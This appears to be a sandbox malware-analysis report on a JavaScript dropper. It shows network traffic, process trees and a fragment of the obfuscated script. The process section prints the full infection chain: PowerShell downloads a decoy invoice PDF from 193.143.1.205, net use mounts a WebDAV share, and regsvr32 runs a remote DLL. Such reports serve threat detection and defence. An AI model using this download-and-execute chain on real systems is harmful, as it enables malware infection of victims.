Jan 10, 2025 14:04:07.107995033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.112200975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112234116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112262011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112281084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.112284899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112298965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112332106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.112356901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112370014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112380981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112396955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.112421036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.112438917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112451077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112493992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.112526894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112539053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112550020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112571955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.112618923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112631083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112642050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.112654924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.112684011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.143765926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.144062996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.144094944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.144105911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.144138098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.144207954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.144221067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.144232035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.144253016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.144272089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.144325018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.144337893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.144372940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.153253078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.160248995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160293102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160303116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160320997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160331964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160340071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.160382032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.160417080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160429001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160439014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160479069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.160501957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.160552025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160562992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160572052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160583973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160602093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.160626888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.160701990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160713911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160725117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160736084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160748959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.160751104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.160783052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.164839029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.175673008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.191359997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191406965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191409111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.191418886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191438913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191451073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191461086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.191463947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191477060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191483974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.191513062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.191689968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191700935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191713095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191723108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191732883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191740036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.191745043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191778898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.191826105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191838026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191848993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.191884995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.192003965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.192054033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.192065001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.192150116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.192171097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.192182064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.192192078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.192210913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.194619894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.411370993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.910339117 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.915293932 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.915404081 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.920594931 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.925470114 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:08.691273928 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:08.744673967 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:09.281294107 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:06:10.046684980 CET	59122	53	192.168.2.7	1.1.1.1
Jan 10, 2025 14:06:10.051609039 CET	53	59122	1.1.1.1	192.168.2.7
Jan 10, 2025 14:06:10.051820040 CET	59122	53	192.168.2.7	1.1.1.1
Jan 10, 2025 14:06:10.051915884 CET	59122	53	192.168.2.7	1.1.1.1
Jan 10, 2025 14:06:10.056710005 CET	53	59122	1.1.1.1	192.168.2.7
Jan 10, 2025 14:06:10.495598078 CET	53	59122	1.1.1.1	192.168.2.7
Jan 10, 2025 14:06:10.534243107 CET	59122	53	192.168.2.7	1.1.1.1
Jan 10, 2025 14:06:10.539464951 CET	53	59122	1.1.1.1	192.168.2.7
Jan 10, 2025 14:06:10.539536953 CET	59122	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:04:16.728499889 CET	50822	53	192.168.2.7	1.1.1.1
Jan 10, 2025 14:06:10.041105032 CET	53	54327	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:04:16.728499889 CET	192.168.2.7	1.1.1.1	0xe820	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:04:16.736433029 CET	1.1.1.1	192.168.2.7	0xe820	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:04:17.420392036 CET	1.1.1.1	192.168.2.7	0xd5cd	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:04:17.420392036 CET	1.1.1.1	192.168.2.7	0xd5cd	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	4832	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:04:05.624536991 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:04:06.430504084 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:04:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:04:06.430541992 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:04:06.430553913 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 14:04:06.430586100 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 14:04:06.430598974 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 14:04:06.430613041 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 14:04:06.430689096 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 14:04:06.430756092 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 14:04:06.430767059 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 14:04:06.430778027 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 10, 2025 14:04:06.490644932 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7440	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:04:07.920594931 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:04:08.691273928 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:04:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:04:01
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3144522639186114061.js"
Imagebase:	0x7ff7d8970000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:04:02
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll
Imagebase:	0x7ff666eb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:04:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:04:02
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:04:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:04:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff666eb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:04:06
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff608b90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:04:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	08:04:07
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	08:04:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1656,i,324364413811314309,4010465893870577772,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	09:37:51
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function radrmbw() {	radrmbw() ➔ undefined
1	lmugquszz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qoiootn = this[abxnz + jgyxftces + hmihgr + fepic + pwmeinpo + azxvfp + cevoox + fahbz] ( this[hxhbvxb + zwmznvth + rtguql + hmihgr + aziphbz + abxnz + fahbz][vdvdtrl + hmihgr + pwmeinpo + jgyxftces + fahbz + pwmeinpo + evvjvk + izlheccrx + lgzweel + pwmeinpo + rtguql + fahbz] ( hxhbvxb + zwmznvth + rtguql + hmihgr + aziphbz + abxnz + fahbz + utmdhuxy + zwmznvth + ypgbidrh + pwmeinpo + jsnhrwevn + jsnhrwevn ) [sudxfvr + pwmeinpo + zstie + sudxfvr + pwmeinpo + jgyxftces + thfmfbfx] ( slavwq + cihsryzaj + ykcdgozm + suvkvpfcr + uogrbqcu + vdvdtrl + pdrpku + sudxfvr + sudxfvr + ykcdgozm + obdvtra + ordsj + uogrbqcu + pdrpku + zwmznvth + ykcdgozm + sudxfvr + ugpofebi + vdvdtrl + fjzogt + cevoox + fahbz + hmihgr + fjzogt + jsnhrwevn + dymggbpbl + tnbbwhebr + jgyxftces + cevoox + pwmeinpo + jsnhrwevn + ugpofebi + azxvfp + cevoox + fahbz + pwmeinpo + hmihgr + cevoox + jgyxftces + fahbz + aziphbz 